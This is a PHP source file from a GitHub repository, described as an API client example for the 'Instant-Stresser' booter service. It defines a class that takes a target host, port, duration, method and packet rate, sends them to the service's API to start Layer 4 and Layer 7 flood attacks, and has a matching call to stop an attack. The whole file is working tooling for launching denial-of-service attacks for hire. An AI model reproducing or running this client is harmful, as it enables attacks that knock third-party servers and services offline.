-
Notifications
You must be signed in to change notification settings - Fork 0
/
API.php
128 lines (113 loc) · 3.05 KB
/
API.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
<?php
/*
* Instant-Stresser.com PHP API cURL Example.
*
* @author MachiavelSST
* @link https://instant-stresser.com/
*
*/
class API {
/**
* @param int $userID
* @param string $key
*/
private $userID;
private $key;
private $curl_handle = null;
public function __construct($userID, $key){
$this->userID = $userID;
$this->apiKey = $key;
try {
if(empty($this->userID) || empty($this->apiKey)){
throw new Exception('UserID and API Key must be defined.');
}
} catch (Exception $e) {
exit($e->getMessage());
}
}
public function __destruct() {
if (!is_null($this->curl_handle)){
curl_close($this->curl_handle);
}
}
/**
* @param string $host
* @param int $port
* @param int $time
* @param string $method
* @param int $slots
* @param int $pps
* @return string
*/
public function startL4($host, $port, $time, $method, $slots = 1, $pps = 100000){
$postdata = [
'host' => $host,
'port' => $port,
'time' => $time,
'method' => $method,
'slots' => $slots,
'pps' => $pps
];
return $this->send($postdata);
}
/**
* @param string $host
* @param int $time
* @param string $method
* @param int $slots
* @param string $requesttype
* @param string $ratelimit
* @return string
*/
public function startL7($host, $time, $method, $slots = 1, $requesttype = "GET", $origin = "Worldwide", $ratelimit = "false"){
$postdata = [
'host' => $host,
'time' => $time,
'method' => $method,
'slots' => $slots,
'requesttype' => $requesttype,
'origin' => $origin,
'ratelimit' => $ratelimit
];
return $this->send($postdata);
}
/**
* @param string $host
* @return string
*/
public function stopAttack($host){
$postdata = [
'host' => $host
];
return $this->send($postdata, "stop");
}
/**
* @param array $parameters
* @param string $action
* @return string
*/
private function send(array $parameters = [], $action = "start"){
$api_url = "https://api.instant-stresser.com/" . $action;
$parameters['user'] = $this->userID;
$parameters['api_key'] = $this->apiKey;
$parameters = http_build_query($parameters, '', '&');
if(is_null($this->curl_handle)){
$this->curl_handle = curl_init($api_url);
curl_setopt($this->curl_handle, CURLOPT_RETURNTRANSFER, TRUE);
curl_setopt($this->curl_handle, CURLOPT_ENCODING, "");
curl_setopt($this->curl_handle, CURLOPT_MAXREDIRS, 10);
curl_setopt($this->curl_handle, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_1);
curl_setopt($this->curl_handle, CURLOPT_POST, 1);
curl_setopt($this->curl_handle, CURLOPT_POSTFIELDS, $parameters);
curl_setopt($this->curl_handle, CURLOPT_HTTPHEADER , array("cache-control: no-cache", "content-type: application/x-www-form-urlencoded"));
}
switch($response = curl_exec($this->curl_handle)){
case false:
return curl_error($this->curl_handle);
default:
$response = json_decode($response, true);
return $response["message"];
}
}
}
?>